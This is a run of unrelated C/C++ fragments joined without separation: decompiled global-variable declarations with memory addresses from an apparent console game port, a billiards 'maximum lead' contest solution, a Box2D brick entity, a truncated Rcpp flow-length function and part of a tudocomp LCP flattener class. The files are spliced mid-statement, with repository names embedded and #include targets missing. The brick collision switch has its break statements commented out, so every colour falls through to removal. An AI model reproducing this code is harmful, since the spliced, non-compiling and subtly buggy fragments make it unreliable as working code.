static int stextdown; // address: 0x8012E8F8 static char stextscrlubtn; // address: 0x8012E8F9 static char stextscrldbtn; // address: 0x8012E8FA static char SItemListFlag; // address: 0x8012F938 // size: 0xD20 static struct STextStruct stext[24]; // address: 0x800E89C0 // size: 0x1C80 extern struct ItemStruct storehold[48]; // address: 0x800EA640 // size: 0x30 extern char storehidx[48]; // address: 0x8012E8FC static int storenumh; // address: 0x8012E900 static int gossipstart; // address: 0x8012E904 static int gossipend; // address: 0x8012E908 // size: 0x8 static struct RECT StoreBackRect; // address: 0x8012E910 static int talker; // address: 0x8012DBDC extern unsigned char *pSTextBoxCels; // address: 0x8012DBE0 extern unsigned char *pSTextSlidCels; // address: 0x8012DBE4 extern int *SStringY; // address: 0x800E603C // size: 0x10 extern struct Dialog SBack; // address: 0x800E604C // size: 0x50 extern int SStringYNorm[20]; // address: 0x800E609C // size: 0x50 extern int SStringYBuy0[20]; // address: 0x800E60EC // size: 0x50 extern int SStringYBuy1[20]; // address: 0x800E613C // size: 0x24 extern int talkname[9]; // address: 0x8012DBEE extern unsigned char InStoreFlag; // address: 0x8012A024 // size: 0xC9C extern struct TextDataStruct alltext[269]; // address: 0x8012DC0C extern unsigned long gdwAllTextEntries; // address: 0x8012E914 static unsigned char *P3Tiles; // address: 0x8012DC1C extern int tile; // address: 0x8012DC2C // size: 0x2 extern unsigned char _trigflag[2]; // address: 0x800EA8A8 // size: 0x50 extern struct TriggerStruct trigs[5]; // address: 0x8012DC30 extern int numtrigs; // address: 0x8012DC34 // size: 0x3 extern unsigned char townwarps[3]; // address: 0x8012DC38 extern int TWarpFrom; // address: 0x800EA670 // size: 0x2C extern int TownDownList[11]; // address: 0x800EA69C // size: 0x34 extern int TownWarp1List[13]; // address: 0x800EA6D0 // size: 0x30 extern int L1UpList[12]; // address: 0x800EA700 // size: 0x28 extern int L1DownList[10]; // address: 0x800EA728 // size: 0xC extern int L2UpList[3]; // address: 0x800EA734 // size: 0x14 extern int L2DownList[5]; // address: 0x800EA748 // size: 0xC extern int L2TWarpUpList[3]; // address: 0x800EA754 // size: 0x3C extern int L3UpList[15]; // address: 0x800EA790 // size: 0x24 extern int L3DownList[9]; // address: 0x800EA7B4 // size: 0x38 extern int L3TWarpUpList[14]; // address: 0x800EA7EC // size: 0x10 extern int L4UpList[4]; // address: 0x800EA7FC // size: 0x18 extern int L4DownList[6]; // address: 0x800EA814 // size: 0x10 extern int L4TWarpUpList[4]; // address: 0x800EA824 // size: 0x84 extern int L4PentaList[33]; // address: 0x8012DC51 extern unsigned char gbSndInited; // address: 0x8012DC54 extern long sglMasterVolume; // address: 0x8012DC58 extern long sglMusicVolume; // address: 0x8012DC5C extern long sglSoundVolume; // address: 0x8012DC60 extern long sglSpeechVolume; // address: 0x8012DC64 extern int sgnMusicTrack; // address: 0x8012DC52 extern unsigned char gbDupSounds; // address: 0x8012DC68 // size: 0x80 extern struct SFXHDR *sghMusic; // address: 0x8012AE58 // size: 0xC static unsigned short sgszMusicTracks[6]; // address: 0x8012DC80 // size: 0x8 extern int _pcurr_inv[2]; // address: 0x800EA8F8 // size: 0x50 extern struct found_objects _pfind_list[10][2]; // address: 0x8012DC88 // size: 0x2 extern char _pfind_index[2]; // address: 0x8012DC8C // size: 0x2 extern char _pfindx[2]; // address: 0x8012DC90 // size: 0x2 extern char _pfindy[2]; // address: 0x8012DC92 extern unsigned char automapmoved; // address: 0x8012DC75 extern unsigned char flyflag; // address: 0x8012DC76 static char seen_combo; // address: 0x80130658 // size: 0x94 static struct GamePad GPad1; // address: 0x801306F8 // size: 0x94 static struct GamePad GPad2; // address: 0x8012E918 static unsigned long (*CurrentProc)(); // address: 0x8012AFEC // size: 0x60 static struct MESSAGE_STR AllMsgs[12]; // address: 0x8012DCCC extern int NumOfStrings; // address: 0x8012DCA0 // size: 0x4 extern enum LANG_TYPE LanguageType; // address: 0x8012DCA4 extern long hndText; // address: 0x8012DCA8 extern char **TextPtr; // address: 0x8012DCAC // size: 0x4 extern enum LANG_DB_NO LangDbNo; // address: 0x8012DCDC // size: 0x6C extern struct TextDat *MissDat; // address: 0x8012DCE0 extern int CharFade; // address: 0x8012DCE4 extern int rotateness; // address: 0x8012DCE8 extern int spiralling_shape; // address: 0x8012DCEC extern int down; // address: 0x800EA948 // size: 0x10 extern char MlTab[16]; // address: 0x800EA958 // size: 0x10 extern char QlTab[16]; // address: 0x800EA968 // size: 0x188 extern struct POLY_FT4 *(*ObjPrintFuncs[98])(); // address: 0x8012DD08 extern int MyXoff1; // address: 0x8012DD0C extern int MyYoff1; // address: 0x8012DD10 extern int MyXoff2; // address: 0x8012DD14 extern int MyYoff2; // address: 0x8012DD24 extern bool iscflag; // address: 0x8012DD31 static unsigned char sgbFadedIn; // address: 0x8012DD32 static unsigned char screenbright; // address: 0x8012DD34 static int faderate; // address: 0x8012DD38 static bool fading; // address: 0x8012DD44 // size: 0x8 static unsigned char FadeCoords[8]; // address: 0x8012DD3C extern int st; // address: 0x8012DD40 extern int mode; // address: 0x800EAAF0 // size: 0x18 extern struct PortalStruct portal[2]; // address: 0x8012DD76 extern char portalindex; // address: 0x8012DD70 // size: 0x2 static char WarpDropX[2]; // address: 0x8012DD74 // size: 0x2 static char WarpDropY[2]; // address: 0x800EAB08 // size: 0x78 extern char MyVerString[120]; // address: 0x8012DED4 extern int Year; // address: 0x8012DED8 extern int Day; // address: 0x8012E91C static unsigned char *tbuff; // address: 0x800EAB80 // size: 0x300 extern unsigned char IconBuffer[768]; // address: 0x8012E920 static unsigned char HR1; // address: 0x8012E921 static unsigned char HR2; // address: 0x8012E922 static unsigned char HR3; // address: 0x8012E923 static unsigned char VR1; // address: 0x8012E924 static unsigned char VR2; // address: 0x8012E925 static unsigned char VR3; // address: 0x8012DF48 // size: 0x18 extern struct NODE *pHallList; // address: 0x8012DF4C extern int nRoomCnt; // address: 0x8012DF50 extern int nSx1; // address: 0x8012DF54 extern int nSy1; // address: 0x8012DF58 extern int nSx2; // address: 0x8012DF5C extern int nSy2; // address: 0x8012DF00 extern int Area_Min; // address: 0x8012DF04 extern int Room_Max; // address: 0x8012DF08 extern int Room_Min; // address: 0x8012DF0C // size: 0x6 extern unsigned char BIG3[6]; // address: 0x8012DF14 // size: 0x6 extern unsigned char BIG4[6]; // address: 0x8012DF1C // size: 0x6 extern unsigned char BIG6[6]; // address: 0x8012DF24 // size: 0x6 extern unsigned char BIG7[6]; // address: 0x8012DF2C // size: 0x4 extern unsigned char RUINS1[4]; // address: 0x8012DF30 // size: 0x4 extern unsigned char RUINS2[4]; // address: 0x8012DF34 // size: 0x4 extern unsigned char RUINS3[4]; // address: 0x8012DF38 // size: 0x4 extern unsigned char RUINS4[4]; // address: 0x8012DF3C // size: 0x4 extern unsigned char RUINS5[4]; // address: 0x8012DF40 // size: 0x4 extern unsigned char RUINS6[4]; // address: 0x8012DF44 // size: 0x4 extern unsigned char RUINS7[4]; // address: 0x8012E928 static int abyssx; // address: 0x8012E92C static unsigned char lavapool; // address: 0x8012DFE8 extern int lockoutcnt; // address: 0x8012DF6C // size: 0x6 static unsigned char L3TITE12[6]; // address: 0x8012DF74 // size: 0x6 static unsigned char L3TITE13[6]; // address: 0x8012DF7C // size: 0x6 static unsigned char L3CREV1[6]; // address: 0x8012DF84 // size: 0x6 static unsigned char L3CREV2[6]; // address: 0x8012DF8C // size: 0x6 static unsigned char L3CREV3[6]; // address: 0x8012DF94 // size: 0x6 static unsigned char L3CREV4[6]; // address: 0x8012DF9C // size: 0x6 static unsigned char L3CREV5[6]; // address: 0x8012DFA4 // size: 0x6 static unsigned char L3CREV6[6]; // address: 0x8012DFAC // size: 0x6 static unsigned char L3CREV7[6]; // address: 0x8012DFB4 // size: 0x6 static unsigned char L3CREV8[6]; // address: 0x8012DFBC // size: 0x6 static unsigned char L3CREV9[6]; // address: 0x8012DFC4 // size: 0x6 static unsigned char L3CREV10[6]; // address: 0x8012DFCC // size: 0x6 static unsigned char L3CREV11[6]; // address: 0x8012DFD4 // size: 0x4 static unsigned char L3XTRA1[4]; // address: 0x8012DFD8 // size: 0x4 static unsigned char L3XTRA2[4]; // address: 0x8012DFDC // size: 0x4 static unsigned char L3XTRA3[4]; // address: 0x8012DFE0 // size: 0x4 static unsigned char L3XTRA4[4]; // address: 0x8012DFE4 // size: 0x4 static unsigned char L3XTRA5[4]; // address: 0x8012DFEC extern int diabquad1x; // address: 0x8012DFF0 extern int diabquad2x; // address: 0x8012DFF4 extern int diabquad3x; // address: 0x8012DFF8 extern int diabquad4x; // address: 0x8012DFFC extern int diabquad1y; // address: 0x8012E000 extern int diabquad2y; // address: 0x8012E004 extern int diabquad3y; // address: 0x8012E008 extern int diabquad4y; // address: 0x8012E00C extern int SP4x1; // address: 0x8012E010 extern int SP4y1; // address: 0x8012E014 extern int SP4x2; // address: 0x8012E018 extern int SP4y2; // address: 0x8012E01C extern int l4holdx; // address: 0x8012E020 extern int l4holdy; // address: 0x8012E930 static unsigned char *lpSetPiece1; // address: 0x8012E934 static unsigned char *lpSetPiece2; // address: 0x8012E938 static unsigned char *lpSetPiece3; // address: 0x8012E93C static unsigned char *lpSetPiece4; // address: 0x8012E940 static unsigned char *lppSetPiece2; // address: 0x8012E944 static unsigned char *lppSetPiece3; // address: 0x8012E948 static unsigned char *lppSetPiece4; // address: 0x8012E030 // size: 0x8 static unsigned char SkelKingTrans1[8]; // address: 0x8012E038 // size: 0x8 static unsigned char SkelKingTrans2[8]; // address: 0x800EAE80 // size: 0x14 static unsigned char SkelKingTrans3[20]; // address: 0x800EAE94 // size: 0x1C static unsigned char SkelKingTrans4[28]; // address: 0x800EAEB0 // size: 0x14 static unsigned char SkelChamTrans1[20]; // address: 0x8012E040 // size: 0x8 static unsigned char SkelChamTrans2[8]; // address: 0x800EAEC4 // size: 0x24 static unsigned char SkelChamTrans3[36]; // address: 0x8012E134 static bool DoUiForChooseMonster; // address: 0x800EAEE8 // size: 0x88 static char *MgToText[34]; // address: 0x800EAF70 // size: 0x24 extern int StoryText[3][3]; // address: 0x800EAF94 // size: 0x1200 extern unsigned short dungeon[48][48]; // address: 0x800EC194 // size: 0x640 extern unsigned char pdungeon[40][40]; // address: 0x800EC7D4 // size: 0x640 extern unsigned char dflags[40][40]; // address: 0x8012E158 extern int setpc_x; // address: 0x8012E15C extern int setpc_y; // address: 0x8012E160 extern int setpc_w; // address: 0x8012E164 extern int setpc_h; // address: 0x8012E168 extern unsigned char setloadflag; // address: 0x8012E16C extern unsigned char *pMegaTiles; // address: 0x800ECE14 // size: 0x801 extern unsigned char nBlockTable[2049]; // address: 0x800ED618 // size: 0x801 extern unsigned char nSolidTable[2049]; // address: 0x800EDE1C // size: 0x801 extern unsigned char nTransTable[2049]; // address: 0x800EE620 // size: 0x801 extern unsigned char nMissileTable[2049]; // address: 0x800EEE24 // size: 0x801 extern unsigned char nTrapTable[2049]; // address: 0x8012E170 extern int dminx; // address: 0x8012E174 extern int dminy; // address: 0x8012E178 extern int dmaxx; // address: 0x8012E17C extern int dmaxy; // address: 0x8012E180 extern int gnDifficulty; // address: 0x8012E184 extern unsigned char currlevel; // address: 0x8012E185 extern unsigned char leveltype; // address: 0x8012E186 extern unsigned char setlevel; // address: 0x8012E187 extern unsigned char setlvlnum; // address: 0x8012E188 extern unsigned char setlvltype; // address: 0x8012E18C extern int ViewX; // address: 0x8012E190 extern int ViewY; // address: 0x8012E194 extern int ViewDX; // address: 0x8012E198 extern int ViewDY; // address: 0x8012E19C extern int ViewBX; // address: 0x8012E1A0 extern int ViewBY; // address: 0x800EF628 // size: 0x14 extern struct ScrollStruct ScrollInfo; // address: 0x8012E1A4 extern int LvlViewX; // address: 0x8012E1A8 extern int LvlViewY; // address: 0x8012E1AC extern int btmbx; // address: 0x8012E1B0 extern int btmby; // address: 0x8012E1B4 extern int btmdx; // address: 0x8012E1B8 extern int btmdy; // address: 0x8012E1BC extern int MicroTileLen; // address: 0x8012E1C0 extern char TransVal; // address: 0x800EF63C // size: 0x20 extern bool TransList[8]; // address: 0x8012E1C4 extern int themeCount; // address: 0x800EF65C // size: 0x222C0 extern struct map_info dung_map[108][108]; // address: 0x8011191C // size: 0xB64 extern unsigned char dung_map_r[54][54]; // address: 0x80112480 // size: 0xB64 extern unsigned char dung_map_g[54][54]; // address: 0x80112FE4 // size: 0xB64 extern unsigned char dung_map_b[54][54]; // address: 0x80113B48 // size: 0xAA extern struct MINIXY MinisetXY[17]; // address: 0x8012E150 extern unsigned char *pSetPiece; // address: 0x8012E154 extern int DungSize; // address: 0x80113D14 // size: 0x190 extern struct ThemeStruct theme[50]; // address: 0x8012E204 extern int numthemes; // address: 0x8012E208 extern int zharlib; // address: 0x8012E20C extern unsigned char armorFlag; // address: 0x8012E20D extern unsigned char bCrossFlag; // address: 0x8012E20E extern unsigned char weaponFlag; // address: 0x8012E210 extern int themex; // address: 0x8012E214 extern int themey; // address: 0x8012E218 extern int themeVar1; // address: 0x8012E21C extern unsigned char bFountainFlag; // address: 0x8012E21D extern unsigned char cauldronFlag; // address: 0x8012E21E extern unsigned char mFountainFlag; // address: 0x8012E21F extern unsigned char pFountainFlag; // address: 0x8012E220 extern unsigned char tFountainFlag; // address: 0x8012E221 extern unsigned char treasureFlag; // address: 0x8012E224 // size: 0x4 extern unsigned char ThemeGoodIn[4]; // address: 0x80113BF4 // size: 0x10 extern int ThemeGood[4]; // address: 0x80113C04 // size: 0x64 extern int trm5x[25]; // address: 0x80113C68 // size: 0x64 extern int trm5y[25]; // address: 0x80113CCC // size: 0x24 extern int trm3x[9]; // address: 0x80113CF0 // size: 0x24 extern int trm3y[9]; // address: 0x8012E2FC extern int nummissiles; // address: 0x80113F2C // size: 0x1F4 extern int missileactive[125]; // address: 0x80114120 // size: 0x1F4 extern int missileavail[125]; // address: 0x8012E300 extern unsigned char MissilePreFlag; // address: 0x80114314 // size: 0x2710 extern struct MissileStruct missile[125]; // address: 0x8012E301 extern unsigned char ManashieldFlag; // address: 0x8012E302 extern unsigned char ManashieldFlag2; // address: 0x80113EA4 // size: 0x20 extern int XDirAdd[8]; // address: 0x80113EC4 // size: 0x20 extern int YDirAdd[8]; // address: 0x8012E2C9 extern unsigned char fadetor; // address: 0x8012E2CA extern unsigned char fadetog; // address: 0x8012E2CB extern unsigned char fadetob; // address: 0x80113EE4 // size: 0x10 extern unsigned char ValueTable[16]; // address: 0x80113EF4 // size: 0x36 extern unsigned char StringTable[9][6]; // address: 0x80116BC4 // size: 0x5780 extern struct MonsterStruct monster[200]; // address: 0x8012E364 extern long nummonsters; // address: 0x8011C344 // size: 0x190 extern short monstactive[200]; // address: 0x8011C4D4 // size: 0x190 extern short monstkills[200]; // address: 0x8011C664 // size: 0x1C0 extern struct CMonster Monsters[16]; // address: 0x8012E368 extern long monstimgtot; // address: 0x8012E36C extern char totalmonsters; // address: 0x8012E370 extern int uniquetrans; // address: 0x8012E94C static unsigned char sgbSaveSoundOn; // address: 0x8012E334 // size: 0x8 extern char offset_x[8]; // address: 0x8012E33C // size: 0x8 extern char offset_y[8]; // address: 0x8012E31C // size: 0x8 extern char left[8]; // address: 0x8012E324 // size: 0x8 extern char right[8]; // address: 0x8012E32C // size: 0x8 extern char opposite[8]; // address: 0x8012E310 extern int nummtypes; // address: 0x8012E314 // size: 0x7 extern char animletter[7]; // address: 0x80116A24 // size: 0x120 extern int MWVel[3][24]; // address: 0x8012E344 // size: 0x4 extern char rnd5[4]; // address: 0x8012E348 // size: 0x4 extern char rnd10[4]; // address: 0x8012E34C // size: 0x4 extern char rnd20[4]; // address: 0x8012E350 // size: 0x4 extern char rnd60[4]; // address: 0x80116B44 // size: 0x80 extern void (*AiProc[32])(); // address: 0x8011CB3C // size: 0x1A40 extern struct MonsterData monsterdata[112]; // address: 0x8011E57C // size: 0x80 extern char MonstConvTbl[128]; // address: 0x8011E5FC // size: 0x70 extern char MonstAvailTbl[112]; // address: 0x8011E66C // size: 0x930 extern struct UniqMonstStruct UniqMonst[98]; // address: 0x8011C924 // size: 0x218 extern int TransPals[134]; // address: 0x8011C824 // size: 0x100 extern struct STONEPAL StonePals[32]; // address: 0x8012E3A8 extern unsigned char invflag; // address: 0x8012E3A9 extern unsigned char drawsbarflag; // address: 0x8012E3AC extern int InvBackY; // address: 0x8012E3B0 extern int InvCursPos; // address: 0x8011F614 // size: 0x49 extern unsigned char InvSlotTable[73]; // address: 0x8012E3B4 extern int InvBackAY; // address: 0x8012E3B8 extern int InvSel; // address: 0x8012E3BC extern int ItemW; // address: 0x8012E3C0 extern int ItemH; // address: 0x8012E3C4 extern int ItemNo; // address: 0x8012E3C8 // size: 0x8 extern struct RECT BRect; // address: 0x8012E390 // size: 0x6C extern struct TextDat *InvPanelTData; // address: 0x8012E394 // size: 0x6C extern struct TextDat *InvGfxTData; // address: 0x8012E38C extern int InvPageNo; // address: 0x8011EF9C // size: 0x28 extern int AP2x2Tbl[10]; // address: 0x8011EFC4 // size: 0x248 extern struct InvXY InvRect[73]; // address: 0x8011F20C // size: 0x2A0 extern int InvGfxTable[168]; // address: 0x8011F4AC // size: 0xB4 extern unsigned char InvItemWidth[180]; // address: 0x8011F560 // size: 0xB4 extern unsigned char InvItemHeight[180]; // address: 0x8012E3A0 static bool InvOn; // address: 0x8012E3A4 static unsigned long sgdwLastTime; // address: 0x8012E3FF extern unsigned char automapflag; // address: 0x8011F678 // size: 0xC8 extern unsigned char automapview[40][5]; // address: 0x8011F740 // size: 0x400 extern unsigned short automaptype[512]; // address: 0x8012E400 extern unsigned char AMLWallFlag; // address: 0x8012E401 extern unsigned char AMRWallFlag; // address: 0x8012E402 extern unsigned char AMLLWallFlag; // address: 0x8012E403 extern unsigned char AMLRWallFlag; // address: 0x8012E404 extern unsigned char AMDirtFlag; // address: 0x8012E405 extern unsigned char AMColumnFlag; // address: 0x8012E406 extern unsigned char AMStairFlag; // address: 0x8012E407 extern unsigned char AMLDoorFlag; // address: 0x8012E408 extern unsigned char AMLGrateFlag; // address: 0x8012E409 extern unsigned char AMLArchFlag; // address: 0x8012E40A extern unsigned char AMRDoorFlag; // address: 0x8012E40B extern unsigned char AMRGrateFlag; // address: 0x8012E40C extern unsigned char AMRArchFlag; // address: 0x8012E410 extern int AutoMapX; // address: 0x8012E414 extern int AutoMapY; // address: 0x8012E418 extern int AutoMapXOfs; // address: 0x8012E41C extern int AutoMapYOfs; // address: 0x8012E420 extern int AMPlayerX; // address: 0x8012E424 extern int AMPlayerY; // address: 0x8012E3DC extern int AutoMapScale; // address: 0x8012E3E0 extern unsigned char AutoMapPlayerR; // address: 0x8012E3E1 extern unsigned char AutoMapPlayerG; // address: 0x8012E3E2 extern unsigned char AutoMapPlayerB; // address: 0x8012E3E3 extern unsigned char AutoMapWallR; // address: 0x8012E3E4 extern unsigned char AutoMapWallG; // address: 0x8012E3E5 extern unsigned char AutoMapWallB; // address: 0x8012E3E6 extern unsigned char AutoMapDoorR; // address: 0x8012E3E7 extern unsigned char AutoMapDoorG; // address: 0x8012E3E8 extern unsigned char AutoMapDoorB; // address: 0x8012E3E9 extern unsigned char AutoMapColumnR; // address: 0x8012E3EA extern unsigned char AutoMapColumnG; // address: 0x8012E3EB extern unsigned char AutoMapColumnB; // address: 0x8012E3EC extern unsigned char AutoMapArchR; // address: 0x8012E3ED extern unsigned char AutoMapArchG; // address: 0x8012E3EE extern unsigned char AutoMapArchB; // address: 0x8012E3EF extern unsigned char AutoMapStairR; // address: 0x8012E3F0 extern unsigned char AutoMapStairG; // address: 0x8012E3F1 extern unsigned char AutoMapStairB; // address: 0x8011F660 // size: 0x18 static int SetLevelName[6]; // address: 0x8012EAA8 extern unsigned long GazTick; // address: 0x80135560 // size: 0x18 extern unsigned long RndTabs[6]; // address: 0x800A89D4 // size: 0x18 extern unsigned long DefaultRnd[6]; // address: 0x8012EAD0 extern void (*PollFunc)(); // address: 0x8012EAB4 extern void (*MsgFunc)(); // address: 0x8012EB00 extern void (*ErrorFunc)(); // address: 0x8012E9D4 // size: 0x5C static struct TASK *ActiveTasks; // address: 0x8012E9D8 // size: 0x5C static struct TASK *CurrentTask; // address: 0x8012E9DC // size: 0x5C static struct TASK *T; // address: 0x8012E9E0 static unsigned long MemTypeForTasker; // address: 0x80132D90 // size: 0x30 static int SchEnv[12]; // address: 0x8012E9E4 static unsigned long ExecId; // address: 0x8012E9E8 static unsigned long ExecMask; // address: 0x8012E9EC static int TasksActive; // address: 0x8012E9F0 static void (*EpiFunc)(); // address: 0x8012E9F4 static void (*ProFunc)(); // address: 0x8012E9F8 static unsigned long EpiProId; // address: 0x8012E9FC static unsigned long EpiProMask; // address: 0x8012EA00 static void (*DoTasksPrologue)(); // address: 0x8012EA04 static void (*DoTasksEpilogue)(); // address: 0x8012EA08 static void (*StackFloodCallback)(); // address: 0x8012EA0C static unsigned char ExtraStackProtection; // address: 0x8012EA10 static int ExtraStackSizeLongs; // address: 0x8012EABC extern void *LastPtr; // address: 0x800A8A0C // size: 0x8 extern struct MEM_INFO WorkMemInfo; // address: 0x8012EA14 // size: 0x28 static struct MEM_INIT_INFO *MemInitBlocks; // address: 0x80132DC0 // size: 0x1180 static struct MEM_HDR MemHdrBlocks[140]; // address: 0x8012EA18 // size: 0x20 static struct MEM_HDR *FreeBlocks; // address: 0x8012EA1C // size: 0x4 static enum GAL_ERROR_CODE LastError; // address: 0x8012EA20 static int TimeStamp; // address: 0x8012EA24 static unsigned char FullErrorChecking; // address: 0x8012EA28 static unsigned long LastAttemptedAlloc; // address: 0x8012EA2C static unsigned long LastDeallocedBlock; // address: 0x8012EA30 // size: 0x4 static enum GAL_VERB_LEV VerbLev; // address: 0x8012EA34 static int NumOfFreeHdrs; // address: 0x8012EA38 static unsigned long LastTypeAlloced; // address: 0x8012EA3C static void (*AllocFilter)(); // address: 0x800A8A14 // size: 0x28 extern char *GalErrors[10]; // address: 0x800A8A3C // size: 0x28 extern struct MEM_INIT_INFO PhantomMem; // address: 0x80133F40 // size: 0x1380 static char buf[4992]; // address: 0x800A8A64 // size: 0x7 static char NULL_REP[7]; /* The game of billiards involves two players knocking 3 balls around on a green baize table. Well, there is more to it, but for our purposes this is sufficient. The game consists of several rounds and in each round both players obtain a score, based on how well they played. Once all the rounds have been played, the total score of each player is determined by adding up the scores in all the rounds and the player with the higher total score is declared the winner. The Siruseri Sports Club organises an annual billiards game where the top two players of Siruseri play against each other. The Manager of Siruseri Sports Club decided to add his own twist to the game by changing the rules for determining the winner. In his version, at the end of each round, the cumulative score for each player is calculated, and the leader and her current lead are found. Once all the rounds are over the player who had the maximum lead at the end of any round in the game is declared the winner. Consider the following score sheet for a game with 5 rounds: Round Player 1 Player 2 1 140 82 2 89 134 3 90 110 4 112 106 5 88 90 The total scores of both players, the leader and the lead after each round for this game is given below: Round Player 1 Player 2 Leader Lead 1 140 82 Player 1 58 2 229 216 Player 1 13 3 319 326 Player 2 7 4 431 432 Player 2 1 5 519 522 Player 2 3 Note that the above table contains the cumulative scores. The winner of this game is Player 1 as he had the maximum lead (58 at the end of round 1) during the game. Your task is to help the Manager find the winner and the winning lead. You may assume that the scores will be such that there will always be a single winner. That is, there are no ties. Input The first line of the input will contain a single integer N (N ≤ 10000) indicating the number of rounds in the game. Lines 2,3,...,N+1 describe the scores of the two players in the N rounds. Line i+1 contains two integer Si and Ti, the scores of the Player 1 and 2 respectively, in round i. You may assume that 1 ≤ Si ≤ 1000 and 1 ≤ Ti ≤ 1000. Output Your output must consist of a single line containing two integers W and L, where W is 1 or 2 and indicates the winner and L is the maximum lead attained by the winner. Example Input: 5 140 82 89 134 90 110 112 106 88 90 Output: 1 58 */ #include #include int main() { int n; std::scanf("%d", &n); int cum_a = 0, cum_b = 0; int max_a = -1 * (1 << 20); int max_b = max_a; while (n--) { int a, b; std::scanf("%d %d", &a, &b); cum_a += a; cum_b += b; if (cum_b > cum_a) max_b = std::max(max_b, cum_b - cum_a); else max_a = std::max(max_a, cum_a - cum_b); } if (max_a > max_b) std::printf("1 %d\n", max_a); else std::printf("2 %d\n", max_b); return 0; } #include "BrickEntity.h" #include "CollisionMask.h" //Decide whether to change colour or die off: //return true if this pbject should be removed bool BrickEntity::HandleCollision() { bool retval = false; switch(colour) { case BrickEnum::YELLOW: colour = BrickEnum::RED; sprite = redBrickSprite; //break; case BrickEnum::RED: colour = BrickEnum::GREY; sprite = greyBrickSprite; //break; case BrickEnum::GREEN: colour = BrickEnum::PURPLE; sprite = purpleBrickSprite; //break; case BrickEnum::PURPLE: colour = BrickEnum::BLUE; sprite = blueBrickSprite; //break; case BrickEnum::GREY: case BrickEnum::BLUE: default: //because PURPLE wasn't handled yet, it will be handled by the default case retval = true; break; } return retval; } extern b2World *world; BrickEntity * MakeBrick(BrickEnum type, float xpos, float ypos) { BrickEntity *brickEntity = new BrickEntity(); brickEntity->colour = type; //set the sprite to draw with switch(type) { case BrickEnum::RED: brickEntity->sprite = redBrickSprite; break; case BrickEnum::GREEN: brickEntity->sprite = greenBrickSprite; break; case BrickEnum::GREY: brickEntity->sprite = greyBrickSprite; break; case BrickEnum::BLUE: brickEntity->sprite = blueBrickSprite; break; case BrickEnum::YELLOW: brickEntity->sprite = yellowBrickSprite; break; case BrickEnum::PURPLE: brickEntity->sprite = purpleBrickSprite; break; } //make the physics body b2BodyDef brickBodyDef; //set the position of the center of the body, //converting from pxel coords to physics measurements brickBodyDef.position.Set(xpos / PTM_RATIO, ypos / PTM_RATIO); brickBodyDef.type = b2_kinematicBody; //make it a kinematic body i.e. one moved by us brickEntity->body = world->CreateBody(&brickBodyDef); //create the body and add it to the world // Define a box shape for our dynamic body. b2PolygonShape boxShape; //SetAsBox() takes as arguments the half-width and half-height of the box boxShape.SetAsBox(62.0f / (2.f*PTM_RATIO), 32.0f / (2.f*PTM_RATIO)); b2FixtureDef brickFixtureDef; brickFixtureDef.shape = &boxShape; brickFixtureDef.density = 1.0f; //won't matter, as we made this kinematic brickFixtureDef.restitution = 0; brickFixtureDef.friction = 0.1f; //collison masking brickFixtureDef.filter.categoryBits = CMASK_BRICK; //this is a brick brickFixtureDef.filter.maskBits = CMASK_BALL; //it collides wth balls brickEntity->body->CreateFixture(&brickFixtureDef); //make the userdata point back to this entity brickEntity->body->SetUserData(brickEntity); return brickEntity; }jguerber/spatialwarnings1-10 #include using namespace arma; using namespace Rcpp; // This piece of code computes the flowlength before taking into account // the dimensions of pixels/slope. //[[Rcpp::export]] double fl_internal(arma::mat m) { uword ny = m.n_cols; uword nx = m.n_rows; rowvec flcol = zeros(1, ny); for ( uword r=0; r421408/tudocomp1-10 #pragma once #include #include #include #include #include namespace tdc { namespace lcpcomp { template class PLCPFlattener { public: typedef reference_t ref_t; typedef typename stxxl::VECTOR_GENERATOR::result vector_of_ref_t; typedef typename vector_of_ref_t::bufwriter_type vector_of_ref_writer_t; typedef typename vector_of_ref_t::bufreader_type vector_of_ref_reader_t; private: compare_by_copyTo_t compare_by_copyTo = compare_by_copyTo_t(); compare_by_copyFrom_t compare_by_copyFrom = compare_by_copyFrom_t(); vector_of_ref_t flat; vector_of_ref_t sharpByCopyFrom; vector_of_ref_t * sharpByCopyTo; vector_of_ref_t * sharpNew; vector_of_ref_writer_t * flatWriter; vector_of_ref_writer_t * sharpWriter; bool closed = false; void scan(uint64_t bytesMemory) { delete flatWriter; delete sharpWriter; std::swap(sharpByCopyTo, sharpNew); sharpNew->clear(); sharpByCopyFrom = *sharpByCopyTo; sharpByCopyTo->push_back(compare_by_copyTo.max_value()); std::cout << " Sorting SharpCopyTo..." << sharpByCopyTo->size() << std::endl; stxxl::sort(sharpByCopyTo->begin(), sharpByCopyTo->end(), compare_by_copyTo, bytesMemory); std::cout << " Sorting SharpCopyFrom..." << sharpByCopyFrom.size() << std::endl; stxxl::sort(sharpByCopyFrom.begin(), sharpByCopyFrom.end(), compare_by_copyFrom, bytesMemory); std::cout << " Sorting Flat..." << flat.size() << std::endl; stxxl::sort(flat.begin(), flat.end(), compare_by_copyTo, bytesMemory); flatWriter = new vector_of_ref_writer_t(flat.end()); sharpWriter = new vector_of_ref_writer_t(*sharpNew); std::cout << " Flattening..." << std::endl; vector_of_ref_reader_t fromReader(sharpByCopyFrom); vector_of_ref_reader_t toReader1(*sharpByCopyTo); vector_of_ref_reader_t toReader2(flat); auto toFactor1 = *toReader1; auto toFactor2 = *toReader2; for (; !fromReader.empty(); ++fromReader) { auto fromFactor = *fromReader; while(toFactor1.copyToEnd() <= fromFactor.copyFrom) { ++toReader1; toFactor1 = *toReader1; } while(toFactor2.copyToEnd() <= fromFactor.copyFrom) { ++toReader2; toFactor2 = *toReader2; } ref_t * toFactor = nullptr; if(toFactor1.copyTo <= fromFactor.copyFrom && toFactor1.copyToEnd() >= fromFactor.copyFromEnd()) { toFactor = &toFactor1; } else if(toFactor2.copyTo <= fromFactor.copyFrom && toFactor2.copyToEnd() >= fromFactor.copyFromEnd()) { toFactor = &toFactor2; } // jump possible if(toFactor) { auto jumpOffset = fromFactor.copyFrom - toFactor->copyTo; *sharpWriter << ref_t(fromFactor.copyTo, toFactor->copyFrom + jumpOffset, fromFactor.length); } else { *flatWriter << fromFactor; } } flatWriter->finish(); sharpWriter->finish(); } public: PLCPFlattener() { sharpByCopyTo = new vector_of_ref_t(); sharpNew = new vector_of_ref_t(); flatWriter = new vector_of_ref_writer_t(flat); sharpWriter = new vector_of_ref_writer_t(*sharpNew); *flatWriter << compare_by_copyTo.max_value(); } ~PLCPFlattener() { delete sharpByCopyTo; delete sharpNew; delete flatWriter; delete sharpWriter; } void add(unsigned_t copyTo, unsigned_t copyFrom, unsigned_t length) { *sharpWriter << ref_t(copyTo, copyFrom, length); } void flatten(uint64_t rounds = 3, uint64_t 